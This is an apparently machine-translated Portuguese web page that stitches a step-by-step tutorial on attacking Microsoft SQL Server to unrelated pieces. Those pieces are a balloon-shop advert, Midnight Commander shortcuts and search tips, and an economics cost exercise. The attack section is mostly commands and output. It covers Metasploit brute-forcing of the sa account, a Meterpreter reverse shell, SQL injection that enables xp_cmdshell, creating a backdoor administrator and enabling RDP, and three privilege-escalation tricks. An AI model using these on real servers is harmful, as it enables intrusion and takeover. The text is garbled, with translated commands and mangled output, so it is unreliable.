Métodos e meios de hackear bancos de dados MS SQL. Por que escolher a Pesquisa MF?

Quase nenhum pentest sério está completo sem verificar o SGBD, porque esta é uma das portas mais populares para as informações e máquinas desejadas entre os invasores. Em grandes projetos, o MS é frequentemente usado como SGBD Servidor SQL. E hoje falaremos sobre como verificar sua segurança. Não vamos descobrir a América - camaradas experientes apenas vão atualizar seus conhecimentos, mas para quem está começando a dominar o assunto, tentei detalhar tudo ponto por ponto com o máximo de detalhes possível.

AVISO!

Todas as informações são fornecidas apenas para fins informativos. Nem o autor nem os editores são responsáveis ​​por qualquer possível dano causado pelos materiais deste artigo.

Introdução

Um dos critérios de confiabilidade mais importantes sistema de informação- Segurança do SGBD. Os ataques direcionados a ele são, na maioria dos casos, críticos, porque podem interromper parcial ou totalmente o funcionamento do sistema. Como as grandes organizações formaram sua infraestrutura há muito tempo e a atualização para novas versões de software lhes causa “grandes” problemas, as versões mais comuns ainda são o MS SQL Server 2005 e o MS SQL Server 2008. Mas isso são apenas estatísticas, e mais adiante iremos considere vetores e técnicas comuns a todas as versões. Por conveniência, dividiremos condicionalmente todo o processo de pentest em vários estágios.

Como encontrar o MS SQL

A primeira coisa que um pentester começa a fazer é coletar informações sobre os serviços localizados no servidor da vítima. A coisa mais importante que você precisa saber para pesquisar o Microsoft SQL Server são os números das portas que ele escuta. E escuta as portas 1433 (TCP) e 1434 (UDP). Para verificar se o MS SQL está presente no servidor da vítima, é necessário verificá-lo. Para fazer isso, você pode usar o Nmap com o script ms-sql-info. A verificação começará mais ou menos assim:

Nmap -p 1433 --script=ms-sql-info 192.168.18.128

Pois bem, o resultado de sua execução é apresentado na Fig. 1.

Além do Nmap, existe um excelente módulo de varredura para Metasploit mssql_ping, que também permite determinar a presença do MS SQL no servidor atacado:

Msf> usar auxiliar/scanner/mssql/mssql_ping msf auxilary(mssql_ping) > definir RHOSTS 192.167.1.87 RHOSTS => 192.168.1.87 msf auxiliar(mssql_ping) > executar

Usando uma dessas opções, você pode determinar rapidamente se o MS SQL está instalado no servidor e também descobrir sua versão. Depois disso, você pode passar para a próxima etapa.


Força bruta

Digamos que encontramos um SGBD no servidor. Agora a tarefa é obter acesso a ele. E aqui nos deparamos com o primeiro obstáculo na forma de autenticação. Em geral, o MS SQL oferece suporte a dois tipos de autenticação:

  1. A Autenticação do Windows é uma conexão confiável na qual o SQL Server aceita a conta do usuário, assumindo que ela já tenha sido verificada no sistema operacional.
  2. Modo misto - autenticação usando SQL Server + autenticação do Windows.

Por padrão, o primeiro modo de autenticação é usado e o modo misto é ativado separadamente. Na prática, é bastante difícil encontrar uma base sem modo misto - é mais flexível.

Algumas vantagens do modo misto

  • Permite que o SQL Server dê suporte a aplicativos mais antigos, bem como a aplicativos de terceiros que exigem autenticação do SQL Server.
  • Permite que o SQL Server dê suporte a ambientes de vários sistemas operacionais nos quais os usuários não são autenticados no domínio do Windows.
  • Permite desenvolvedores programas distribua seus aplicativos usando uma hierarquia de permissões complexa baseada em nomes conhecidos e pré-estabelecidos Login SQL Servidor.

Normalmente nesta fase não temos acesso a rede corporativa, portanto não podemos usar autenticação via Windows. Mas nós encontramos porta aberta com MS SQL, o que significa que estamos tentando forçar a conta sa admin, que é padrão para o modo misto. Para automatizar o processo, usamos o módulo Metasploit mssql_login:

Msf > usar auxiliar/scanner/mssql/mssql_login msf auxiliar (mssql_login) > definir RHOSTS 172.16.2.104 RHOSTS => 172.16.2.104 msf auxiliar (mssql_login) > definir PASS_FILE /root/Desktop/pass.txt [*] 6.2.104: 1433 - MSSQL - Iniciando scanner de autenticação. [*] 172.16.2.104:1433 - FALHA DE LOGIN: ESTAÇÃO DE TRABALHO\sa:admin (Incorreto:) [*] 172.16.2.104:1433 - FALHA DE LOGIN: ESTAÇÃO DE TRABALHO\sa:qwerty (Incorreto:) [*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\sa:toor (Incorreto :) [+] 172.16.2.104:1433 - LOGIN BEM SUCEDIDO: WORKSTATION\sa:root [*] Verificado 1 de 1 hosts (100% concluído) [*] Execução do módulo auxiliar concluída

Ótimo! A senha foi encontrada, agora podemos passar para a próxima etapa. Mas e se não houver uma conta sa no servidor? Então você terá que fazer o login bruto, para o qual precisará indicar ao script outro arquivo de onde obtê-los:

Auxiliar Msf (mssql_login) > definir USER_FILE /root/Desktop/user.txt

Obtendo uma concha

Se conseguirmos redefinir a conta sa, poderemos fazer login no banco de dados. Em seguida, o script é simples: habilitamos um procedimento armazenado que nos permite executar comandos no nível do sistema operacional e carregar o shell do Meterpreter no servidor. Caras legais escreveram um excelente módulo para Metasploit, mssql_payload, que automatiza esse processo:

Msf > usar exploit/windows/mssql/mssql_payload msf exploit (mssql_payload) > definir RHOST 172.16.2.104 msf exploit (mssql_payload) > definir USERNAME sa USERNAME => sa msf exploit (mssql_payload) > definir SENHA root PASSWORD => root msf exploit ( MSSQL_PAYLOAD)> Defina a carga útil Windows/MeterPreter/Reverse_TCP Payload => Windows/MeterPreter/Reverse_TCP MSF Exploit (msSQL_Payload)> Definir LHOST 172.16.2.105 LHOST => 172.16.2.105 [*] PROGROGRAGERGETRAGER -100.16.00 bytes) [*] Sessão 1 do Meterpreter aberta (172.16.2.105:4444 -> 172.16.2.104:3987) em 20/02/2015 10:42:52 -0500 meterpreter >

A sessão do Meterpreter foi criada, agora você tem acesso total. Você pode despejar o hash do administrador, fazer capturas de tela, criar/excluir arquivos, ativar/desativar o mouse ou teclado e muito mais. Este é talvez o shell mais popular usado em testes de penetração. Lista completa Os comandos do Meterpreter podem ser vistos.

O que fazer se o login/senha não for redefinido?

Mas não se iluda, o módulo mssql_login não o deixará feliz com muita frequência: os administradores raramente deixam a senha como padrão. Nesse caso, a injeção de SQL nos ajudará a obter um shell. Imagine um formulário HTML no qual o usuário insere o número do artigo e uma simples consulta vulnerável ao banco de dados, tudo executado na conta sa admin:

$strSQL = "SELECT * FROM. WHERE id=$id";

A variável $id não é filtrada de forma alguma, o que significa que você pode realizar uma injeção de SQL na qual qualquer solicitação será executada sob a conta sa admin. Para executar comandos no nível do sistema operacional, você deve habilitar o procedimento armazenado xp_cmdshell, que está desabilitado por padrão. Precisaremos enviar quatro solicitações para ativá-lo:

  1. EXEC sp_configure "mostrar opções avançadas",1;
  2. reconfigurar;
  3. ‘exec sp_configure "xp_cmdshell",1;
  4. reconfigurar

O procedimento armazenado do sistema sp_configure permite visualizar, documentar, alterar e restaurar a configuração de um servidor. A maneira mais fácil de acessar o servidor é habilitar o RDP por meio do registro, criar um usuário com direitos de administrador e conectar-se.

Habilite o RDP:

10; reg adicione "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Crie um usuário:

10; exec master.dbo.xp_cmdshell "net user root toor /ADD"

Damos direitos:

10;exec master.dbo.xp_cmdshell "net localgroup administradores root/add"

Elevação de privilégios. CONFIÁVEL

No caso anterior, a solicitação ao banco de dados ocorria por conta do administrador e, portanto, era muito fácil executar comandos do sistema operacional. Mas e se tivermos uma conta reduzida que não tem direitos para habilitar xp_cmdshell? Nesse caso, os procedimentos armazenados e a propriedade TRUSTWORTHY ativada do banco de dados nos ajudarão.

Mas vamos começar desde o início. Para maior clareza deste vetor, descreverei toda a etapa de configuração do banco de dados e das contas. Nós criamos nova base YOLO: CRIAR BANCO DE DADOS YOLO; . Crie um novo usuário bob com a senha marley: CREATE LOGIN bob WITH PASSWORD = "marley"; Atribuímos o usuário bob como proprietário do banco de dados YOLO:

USE YOLO ALTER LOGIN com default_database = ; CRIAR USUÁRIO A PARTIR DO LOGIN; EXEC sp_addrolemember , ;

Em seguida, definimos a propriedade TRUSTWORTHY, que determina se é permitido que objetos deste banco de dados (views, funções de usuário, procedimentos armazenados) acessem objetos fora deste banco de dados em modo de representação: ALTER DATABASE YOLO SET TRUSTWORTHY ON . Faça login no SQL Server usando a conta bob:marley.

Crie um procedimento armazenado para atribuição conta privilégios de administrador de sistema:

USE YOLO GO CRIAR PROCEDIMENTO sp_lvlup COM EXECUTAR COMO PROPRIETÁRIO COMO EXEC sp_addsrvrolemember "bob","sysadmin" GO

Vamos ter certeza de que não temos privilégios de administrador de sistema antes de executar o procedimento armazenado:

SELECIONE is_srvrolemember("sysadmin") resultado = 0

Vamos executar o procedimento armazenado sp_lvlup criado acima:

USE YOLO EXEC sp_lvlup

E novamente vamos verificar nossos privilégios:

SELECIONE is_srvrolemember("sysadmin") resultado = 1

O procedimento sp_lvlup foi projetado para ser executado como PROPRIETÁRIO, que neste caso é a conta de administrador sa. Isso é possível porque db_owner criou um procedimento armazenado para seu banco de dados, e este banco de dados está configurado como confiável, ou seja, a propriedade TRUSTWORTHY está On . Sem esta propriedade, o procedimento falharia por falta de privilégios. Ativar CONFIANÇA nem sempre é uma coisa ruim. Os problemas começam quando os administradores não reduzem os privilégios dos proprietários do banco de dados. Como resultado, a conta bob recebeu privilégios de administrador de sistema após executar o procedimento sp_lvlup. Para ver quais bancos de dados têm a propriedade TRUSTWORTHY habilitada, você pode usar a seguinte consulta:

SELECIONE nome, database_id, is_trustworthy_on FROM sys.databases

Ou para automatizar todo o processo, você pode usar o módulo mssql_escalate_dbowner_sqli para Metasploit:

Use auxiliar/admin/mssql/mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Sucesso! Bob agora é um administrador de sistema!

Elevação de privilégios. Representação do usuário

O próximo vetor é chamado de representação do usuário. Às vezes, os procedimentos armazenados precisam de acesso a recursos externos localizados fora do banco de dados do aplicativo. Para fazer isso, os desenvolvedores usam o privilégio IMPERSONATE e a função EXECUTE AS, que permite que a solicitação seja executada como uma conta diferente. Esta não é uma vulnerabilidade em si, mas sim uma configuração fraca que leva ao escalonamento de privilégios.

Como no exemplo anterior, começaremos a entender a essência do vetor na fase de configuração. Em primeiro lugar, criamos quatro contas:

CRIAR LOGIN Usuário1 COM SENHA = "secreto"; CRIAR LOGIN Usuário2 COM SENHA = "secreto"; CRIAR LOGIN Usuário3 COM SENHA = "secreto"; CRIAR LOGIN Usuário4 COM SENHA = "secreto";

Em seguida, damos ao usuário User1 privilégios para executar solicitações em nome de sa , User2 , User3:

USAR mestre; GRANT IMPERSONATE ON LOGIN::sa to ; GRANT IMPERSONATE ON LOGIN::MyUser2 para ; GRANT IMPERSONATE ON LOGIN::MyUser3 para ; IR

Faça login no SQL Server na conta User1 e verifique se os privilégios para executar consultas de outras contas foram aplicados.

SELECT distinto b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = "IMPERSONATE"

Agora vamos verificar os privilégios atuais:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Resultado = 0

Bem, agora o truque em si - vamos executar a solicitação em nome de sa, já que acima demos privilégios à conta User1 para executar solicitações em nome de sa:

EXECUTE AS LOGIN = "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER("sysadmin") Resultado = 1

Tudo está em ordem, agora podemos executar comandos como sa , o que significa que podemos habilitar o procedimento armazenado xp_cmdshell:

EXEC sp_configure "mostrar opções avançadas",1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell",1 RECONFIGURE GO

INFORMAÇÕES

A conta sysadmin padrão pode executar consultas em nome de qualquer outro usuário. A consulta a seguir irá ajudá-lo a exibir uma tabela com todos os usuários: SELECT * FROM master.sys.sysusers WHERE islogin = 1 . Para executar uma solicitação em nome de outra conta, use EXECUTE AS LOGIN = "AnyUser" . Para voltar à conta anterior, basta executar a consulta REVERT.

Esse é o truque. Para automatizar, como de costume, você pode usar o módulo Metasploit mssql_escalete_executeas_sqli:

Use auxiliar/admin/mssql/mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id=1+and+1=;-- exploit ... [+] 172.16.2.104:80 - Sucesso! O usuário1 agora é um administrador de sistema!

Elevação de privilégios. Procedimentos armazenados assinados com um certificado

Para descrever este vetor, criaremos um procedimento armazenado vulnerável assinado com um certificado. Ao contrário dos exemplos anteriores, o escalonamento de privilégios não requer:

  • propriedade CONFIÁVEL = Ativado;
  • Privilégios IMPERSONATE e função EXECUTE AS;
  • Configurando um procedimento armazenado com a classe WITH EXECUTE AS para executá-lo como uma conta diferente.

Vamos criar uma conta com direitos mínimos:

CRIAR LOGIN COM SENHA = "loki"; GO - Define o banco de dados padrão do login ALTER LOGIN com default_database = ; IR

Vamos desativar a propriedade TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF . E vamos criar um procedimento armazenado simples sp_xxx que exibirá a coluna de nome do banco de dados tempdb, bem como do banco de dados inserido pelo usuário:

USAR MESTRE; GO CREATE PROCEDURE sp_xxx @DbName varchar(max) AS BEGIN Declare @query as varchar(max) SET @query = "SELECT name FROM master..sysdatabases where name like ""%"+ @DbName+"%"" OR name=" "tempdb"""; EXECUTAR(@consulta) FIM VAI

Após isso, criaremos uma chave de criptografia para o banco de dados MASTER:

CRIAR CRIPTOGRAFIA DE CHAVE MESTRA POR SENHA = "secreto"; IR

E o certificado:

CREATE CERTIFICATE sp_xxx_cert COM SUBJECT = "Para assinar o sp_xxx", EXPIRY_DATE = "2035-01-01"; IR

A próxima etapa é criar um login a partir do certificado sp_xxx:

CRIAR LOGIN sp_xxx_login A PARTIR DO CERTIFICADO sp_xxx_cert

E assine o procedimento com o certificado criado:

ADICIONAR ASSINATURA a sp_xxx POR CERTIFICADO sp_xxx_cert; IR

Vamos atribuir privilégios de administrador de sistema sp_lvlup2 de login:

Mestre EXEC..sp_addsrvrolemember @loginame = N"sp_xxx_login", @rolename = N"sysadmin" GO

Damos privilégios aos membros do grupo PUBLIC para realizar o procedimento:

CONCEDER EXECUÇÃO EM sp_xxx para PÚBLICO

Como resultado, criamos um usuário tor com direitos mínimos, um procedimento armazenado sp_xxx que exibe o nome do banco de dados inserido, criamos um certificado sp_xxx_cert e assinamos o procedimento armazenado com ele, e também criamos um login sp_xxx_login a partir do certificado e o fornecemos privilégios de administrador de sistema. Isso completa a parte preparatória. Faça login com sua conta tor e chame o procedimento armazenado:

EXEC MASTER.dbo.sp_xxx "mestre"

Como esperado, ele nos retornará o nome do banco de dados que especificamos - master e tempdb (ver Fig. 3).

Arroz. 3. Resultado da solicitação EXEC MASTER.dbo.sp_xxx “master”

Uma consulta como EXEC MASTER.dbo.sp_sqli2 "master""--" retornará apenas master (veja a Fig. 4).

Figura 4. Resultado da solicitação EXEC MASTER.dbo.xxx "master""--"

Ótimo. Isso significa que o procedimento armazenado é suscetível à injeção de SQL. Vamos verificar nossos privilégios usando a seguinte consulta:

EXEC MASTER.dbo.sp_xxx "master"";SELECT is_srvrolemember(""sysadmin"")as priv_certsp--";

priv_cersp=1 (veja a Figura 5) significa que temos privilégios de administrador de sistema. Execute o comando EXEC master..xp_cmdshell "whoami"; Não funcionará porque a conta tor tem direitos mínimos, mas se esta consulta estiver incorporada em uma injeção SQL, tudo funcionará (Fig. 6).

O mais interessante é que esse truque funcionará nas versões 2005–2014.

Conclusão

A diferença em todos esses vetores é bastante significativa. Em alguns casos, para atingir o objetivo, você pode limitar-se à propriedade TRUSTWORTHY incluída, que permite que os recursos deste banco de dados sejam utilizados por objetos localizados externamente para criar e executar um procedimento armazenado que escala privilégios. Em alguns casos, você pode executar procedimentos armazenados em nome de outras contas graças aos privilégios IMPERSONATE e à função EXECUTE AS, e em terceiros casos, tudo o que é importante é a presença de injeção SQL através da qual você pode injetar uma consulta, e isso será executado em nome de outra conta. Para compreender completamente as nuances e sutilezas, aconselho testar esses vetores em sua máquina local.

O artigo não fornece uma descrição exaustiva de todos os vetores de ataques ao SGBD MS SQL, mas será muito útil para uma análise superficial de segurança. Também recomendo que você se familiarize com outro vetor de hacking por meio de links de banco de dados, descrito por Alexey Tyurin na edição de dezembro ][ (#191) na seção Easy Hack. Só isso, obrigado pela atenção e nos vemos novamente.

Organizar um feriado é uma tarefa difícil. Há tantas coisas para pensar e cuidar. A empresa MF Search simplifica uma das tarefas - a decoração. Nós coletamos catálogo de produtos de férias, que contém uma variedade de decorações de quartos e pequenos itens úteis para celebrações.

Catálogo de produtos para o feriado: fazendo uma lista de compras

O catálogo do MF Search pode ser chamado de lista de compras pronta. Possui uma estrutura conveniente e detalhada. Você pode comprar conosco:

  • Parafernália de casamento. Fitas, confetes, fechaduras, decoração de salão e carro e muito mais.
  • Tudo para o carnaval. Nesta seção você encontrará os acessórios necessários para uma festa à fantasia, carnaval de ano novo, Halloween, festa de aniversário temática, etc.
  • Talheres descartáveis. Nem sempre a mesa é posta com porcelanas e cerâmicas. Por exemplo, para arrumar a mesa infantil ou para comemorar um aniversário no escritório, é mais conveniente usar pratos e copos de papel.
  • Brinquedos de festa e bolhas de sabão. Para evitar que as crianças fiquem entediadas nas férias, é preciso cuidar com antecedência dos momentos de lazer. Você está com sorte! Reunimos toda a parafernália necessária, basta encontrar uma utilidade para ela.
  • Fogos de artifício e faíscas. Eles tornarão as férias brilhantes e inesquecíveis.
  • Velas. Decore um bolo, passe uma noite romântica, faça uma surpresa – há um conjunto de velas para cada ocasião.

Balões de "MF Poisk"

MF Poisk é o maior fornecedor de balões. Cooperamos com fabricantes dos EUA, Espanha e México. Fornecemos certificados de qualidade e disponibilizamos a mais completa gama de balões, para que possa criar a sua composição única para cada evento. Todos os balões do nosso catálogo podem ser divididos em látex e alumínio.

  • Látex. Eles podem ser selecionados dependendo da cor, tamanho, forma, tema. Vendemos balões com e sem estampa, e também prestamos serviço de aplicação de logo. Além das opções clássicas, oferecemos também outras inusitadas - bolas de soco, bolas de ligação, bolas figuradas e para modelagem.
  • Frustrar. Também há muito por onde escolher: andando, grande, mini e em forma de números. Para facilitar a seleção, classificamos os produtos por tema; você pode facilmente acessar a seção de produtos para casamentos, aniversários, passagem de ano e outros eventos especiais.

Separadamente colocamos acessórios para as bolas, por exemplo, paus ou pesos. Os designers estarão interessados ​​​​na seção de equipamentos - cilindros de hélio, bombas, tinta de impressão.

Por que você deve escolher o MF Search?

  • Maioria grande catálogo bolas.
  • Os certificados de qualidade estão disponíveis publicamente.
  • O valor mínimo do pedido está disponível para cada comprador, independente do porte do evento.
  • Todos os suprimentos de férias em um só lugar.
  • Descontos para grandes atacados.

Tentamos tornar a sua estadia no site confortável, por isso criamos seções separadas com novos produtos, mais vendidos, bem como anúncios “Em breve”. Conosco você verá que organizar uma festa é fácil!

Em geral

Ctrl+x,j — Mostrar tarefas em segundo plano

Ctrl-X+A - VFS atual (ftp, etc.)

ESC+dígito - igual a F(dígito) (ESC+5 = F5)

F1-F12

F3 - Ver arquivo

F3 - (Durante a edição) Inicia a seleção do texto. Pressionar F3 novamente encerrará a seleção

F4 - Edição de arquivo

F5 - Copiar seleção

F6 - Seleção de movimento

F8 - Excluir seleção

Shift+F1 – abre o menu de transição rápida entre pontos de montagem no painel esquerdo

Shift+F2 – abre o menu de transição rápida entre pontos de montagem no painel direito

Shift+F5 – copia o arquivo para o mesmo diretório

Shift+F6 - move/renomeia arquivo para o mesmo diretório

Procurar

ctrl-s — Procure rapidamente um arquivo ou diretório

Alt-shift-? — Abre o menu de pesquisa avançada de arquivos

Linha de comando

ctrl-a – cursor para o início

ctrl-e - cursor até o final

esc-! — executa um comando com parâmetros

ctrl-x, p ou alt+a - cola o nome do diretório

esc, entre; ctrl-enter - envia o objeto atual para linha de comando

ctrl-x,t — Cole todos os objetos selecionados na linha de comando

esc, tab - adição de comando

alt-a – cola o diretório atual na linha de comando

Alt-TAB (ESC+TAB) - A combinação mais legal para procurar arquivos baixados (por exemplo, você esqueceu como escrever corretamente: netcfg ou netconfig. Basta digitar net na linha de comando e pressionar Alt-TAB - eles serão exibidos imediatamente você o que pode executar, que começa com as palavras net) pressione duas vezes!
Alt-shift-! — saída do resultado do comando
ctrl-shift-v - cola da área de transferência

Operações de arquivo

Shift+F4 – Cria um novo arquivo

shift-f6 – renomear arquivo

Ctrl+x,i — Visualize rapidamente informações sobre o objeto atual no segundo painel

Ctrl+x,q – Visualize rapidamente o conteúdo do arquivo no segundo painel

alt-. - mostrar arquivos ocultos

ctrl-x, c - permissões de arquivo

ctrl-x, o - proprietário do arquivo

Shift-F3 - visualizar arquivo (bruto/sem extensão)

Ctrl + x v - cria um link simbólico relativo

trl+x,Ctrl+s — Edita link simbólico

ctrl-t – marque um arquivo ou desmarque-o

+ — selecione (marque) um grupo de arquivos por expressão regular

\ - desmarque um grupo de arquivos

ctrl-x, ctrl-d - compara arquivos

ctrl-t ou Insert — Selecione o objeto atual

Trabalhando com catálogos

alt-o – abre o diretório sob o cursor no painel adjacente

alt-i — abre o diretório atual no painel adjacente

ctrl-\ - mostra “Diretório”

alt-shift-h — Exibe o histórico do diretório

Ctrl+l - Redesenhar tela

Ctrl+Espaço – Mostra o tamanho do diretório atual

Ctrl-X+D - compara diretórios

ESC+C – muda rapidamente de diretório

alt-c - janela “Mudança rápida de diretório”

Trabalhando com painéis

Ctrl-O - desligue os painéis e veja o que há embaixo deles (funciona SOMENTE no Linux!) Aqui você também pode trabalhar no shell.

alt-, — Alternar modo de exibição do painel (vertical/horizontal)

alt-t alterna o modo de exibição do painel detalhado

Meta+c - Abre o menu para alterar rapidamente o diretório atual no painel ativo

ctrl-u – troca de painéis

alt-g - marca o primeiro arquivo ou diretório na lista exibida no painel (essencialmente como a tecla Home, move o cursor para cima)

alt-e – altera a codificação do painel

Ctrl + x i - muda o painel passivo para o modo “Informações”

Ctrl + x q - coloca o painel passivo no modo de visualização rápida

ctrl-x! — menu → “Critério de panelização” (git)

História

alt+h; esc, h - histórico da linha de comando

alt-p, alt-n - retorna linha(s) de comando anterior (próxima)

alt-y. Vá para o diretório anterior do histórico de navegação do diretório; equivale a clicar com o mouse no símbolo ‘<‘ в верхнем углу панели.

alt-você. Vá para o próximo diretório do histórico de navegação do diretório; equivale a clicar no símbolo ‘>’ com o mouse.

Editor

F4 (no editor) – pesquisar e substituir

F6 (no editor) – pesquise usando expressão regular

Shift-Del (no editor) - exclua um bloco (e coloque-o na área de transferência)

Shift-Ins (no editor) - insere um bloco do buffer (funciona até em outro console!!!) Você pode editar dois ou mais arquivos em consoles diferentes e mover blocos entre eles.

Shift+F3 – Comece a selecionar um bloco de texto. Pressionar F3 novamente encerrará a seleção

Shift+F5 – Colar texto da área de transferência interna do MC (ler arquivo externo)

Meta+i - Alterna o modo “Alinhamento automático com retorno de carro”, conveniente ao colar texto formatado da área de transferência

Meta+l — Vá para a linha pelo seu número

Meta+q - Insira um literal (caractere não imprimível). tabela abaixo

Meta+t — Classifica linhas do texto selecionado

Meta+u – Executa um comando externo e insere sua saída na posição sob o cursor

Ctrl+f — Copia o fragmento selecionado para a área de transferência interna do MC (grava em um arquivo externo)

Ctrl+k - Exclui parte de uma linha até o final da linha

Ctrl+n - Cria um novo arquivo

Ctrl+s — Ativa ou desativa o realce de sintaxe

Ctrl+t — Seleciona a codificação do texto

Ctrl+u - Desfazer ações

Ctrl+x - Vai para o final do próximo

Ctrl+y - Excluir linha

Ctrl+z – Vai para o início da palavra anterior

Meta+Enter — Diálogo para ir para a definição da função

Meta+- - Retorna depois de ir para a definição da função

Meta++ - Avançar para a definição da função

Meta+n — Ativa/desativa a exibição de números de linha

aba Move o texto selecionado para a direita se a opção “Bloqueios permanentes” estiver desativada

Meta-aba Move o texto selecionado para a esquerda se a opção "Bloqueios permanentes" estiver desativada

Shift+Setas Selecionar texto

Meta+Setas Selecione um bloco vertical

Meta+Shift+ – Alternando o modo de exibição de tabulações e espaços

Meta+Shift++ Alternando o modo “Alinhamento automático por retorno de carro”

A tabela mostra a dependência dos custos totais da empresa na produção. Calcular custos: fixos, variáveis, médios totais, médios fixos, médios variáveis. Na tabela, preencha as colunas FC, VC, MC, ATC, AFC, AVC:

Custos totais, TC, esfregue.FCVCMCATCAVCA.F.C.
0 60
1 130
2 180
3 230
4 300

Solução:

Custos fixos ( Custos Fixos) são aqueles custos que não dependem do volume de produtos ou serviços produzidos. Não importa quanto uma empresa produza, os seus custos fixos não mudam. Mesmo que a empresa não tenha produzido uma única unidade de produto, incorre em custos, por exemplo, aluguer de instalações, taxas de aquecimento, taxas de empréstimo, etc.

Assim, o FC para qualquer volume de produção será igual a 60 rublos.

Custos variáveis ​​( Custos Variáveis) são custos que mudam quando o volume de produtos ou serviços produzidos muda. Somados aos custos fixos, são iguais ao valor dos custos totais ( Custos totais):

TC = FC + VC.

Daqui:

VC = TC - FC

VC(0) = 60 - 60 = 0,

VC(1) = 130 - 60 = 70,

VC(2) = 180 - 60 = 120,

VC(3) = 230 - 60 = 170,

VC(4) = 300 - 60 = 240.

Custo marginal ( Custos Marginais) é o aumento dos custos associados à produção de uma unidade adicional de produto.

MC = ΔTC / ΔQ

Como neste problema o aumento da produção é sempre igual a 1, podemos reescrever esta fórmula da seguinte forma:

MC = ΔTC / 1 = ΔTC

MC(1) = TC(1) - TC(0) = 130 - 60 = 70,

MC(2) = TC(2) - TC(1) = 180 - 130 = 50,

MC(3) = TC(3) - TC(2) = 230 - 180 = 50,

MC(4) = TC(4) - TC(3) = 300 - 230 = 70.

Custos totais médios ( Custos totais médios) é o custo de produção de uma unidade de produção.

ATC = TC/Q

ATC(1) = TC(1) / 1 = 130/1 = 130,

ATC(2) = TC(2) / 2 = 180/2 = 90,

ATC(3) = TC(3) / 3 = 230/3 = 76,67,

ATC(4) = TC(4) / 4 = 300/4 = 75.

Custos fixos médios ( Custos Fixos Médios) são custos fixos por unidade de produção.

AFC = FC/Q

AFC(1) = FC(1) / 1 = 60/1 = 60,

AFC(2) = FC(2) / 2 = 60/2 = 30,

AFC(3) = FC(3) / 3 = 60/3 = 20,

AFC(4) = FC(4) / 4 = 60/4 =15.

Custos variáveis ​​médios ( Custos Variáveis ​​Médios) são os custos variáveis ​​de produção de uma unidade de produção.

AVC = VC/Q

AVC(1) = VC(1) / 1 = 70/1 = 70,

AVC(2) = VC(2) / 2 = 120/2 = 60,

AVC(3) = VC(3) / 3 = 170/3 = 56,67,

AVC(4) = VC(4) / 4 = 240/4 =60.

Conhecendo o ATC e o AFC, os custos variáveis ​​médios também podem ser encontrados como a diferença entre os custos totais médios e os custos fixos médios:

AVC = ATC - AFC

Vamos preencher as lacunas da tabela:

Produção por unidade de tempo, Q, unid.Custos totais, TC, esfregue.FCVCMCATCAVCA.F.C.
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15

Ao usar pronto produtos de software, Por exemplo CMS Joomla, muitas vezes você tem que lidar com o fato de que algum tipo de mensagem de erro ou aviso aparece nos resultados do programa, mas não informações detalhadas, onde este trecho de código está localizado. Nestes casos, a maneira mais fácil é procurar o arquivo em Comandante da Meia-Noite por linha. Vejamos como fazer isso.

Normalmente você sabe a localização aproximada do arquivo com o fragmento de código necessário. Portanto, em primeiro lugar, vamos ao diretório onde este arquivo pode estar localizado.

EM menu de contexto no campo " Comece em:» ( Do catálogo ) vamos deixar o assunto: já estamos no diretório esperado que contém o arquivo que procuramos. Mas selecionando a opção " T ree" ( Dárvore), você pode selecionar um diretório diferente para pesquisar.

Campo de contexto "Ena" b vamos ignorar diretórios" ( E ignorar diretórios) pode ser deixado em branco se você não quiser excluir nenhum diretório conhecido da pesquisa para restringir a área de pesquisa.

No campo " Nome do arquivo» ( Modelo de nome ) você deve inserir um nome de arquivo ou um modelo para seu nome. O modelo usa ? para qualquer personagem ou * para qualquer número de quaisquer caracteres. Se não soubermos nada sobre o nome ou extensão do arquivo, sinta-se à vontade para entrar *.* .

Opcionalmente selecione:

  • « F ind recursivamente" ( Encontre re Para ursivamente)
  • « Você cantar padrões de conchas" ( M caracteres etashell)
  • "Cas e confidencial" ( Você até mesmo registre-se)
  • « UM todos os conjuntos de caracteres" ( EM Todas as codificações)
  • "S k ip oculto" ( Pular skt é você)

No campo " Contente» ( Contente ) insira a linha que o Midnight Commander deverá encontrar em todos os arquivos que encontrar.

Opcionalmente selecione:

  • "Mar R ch para conteúdo" ( Pesquise por conteúdo e Eu acho) ← ESTA OPÇÃO É NECESSÁRIA PARA UMA PESQUISA DE STRING
  • "Ré g expressão popular" ( R expressão regular)
  • "Senso de caso eu ativo" ( Contabilização de re G istra)
  • "UM eu l conjuntos de caracteres" ( Sol e codificações)
  • « C palavras furadas" ( COM captura inteira)
  • "Abeto é não bateu" ( Até o primeiro em X aniversário)

Inicie a pesquisa " Ó k" ( D também), pare com " C Ansel" ( P rasgar).

Depois que o programa percorrer todos os arquivos, ele os exibirá como uma lista de diretórios nos quais existem arquivos com correspondências + os próprios arquivos com números de linha em que foram encontradas correspondências com a frase pesquisada.

Em geral, um programa megaconveniente na hora de procurar algo que você conhece, mas não sabe exatamente onde procurar. :)

Wi-fi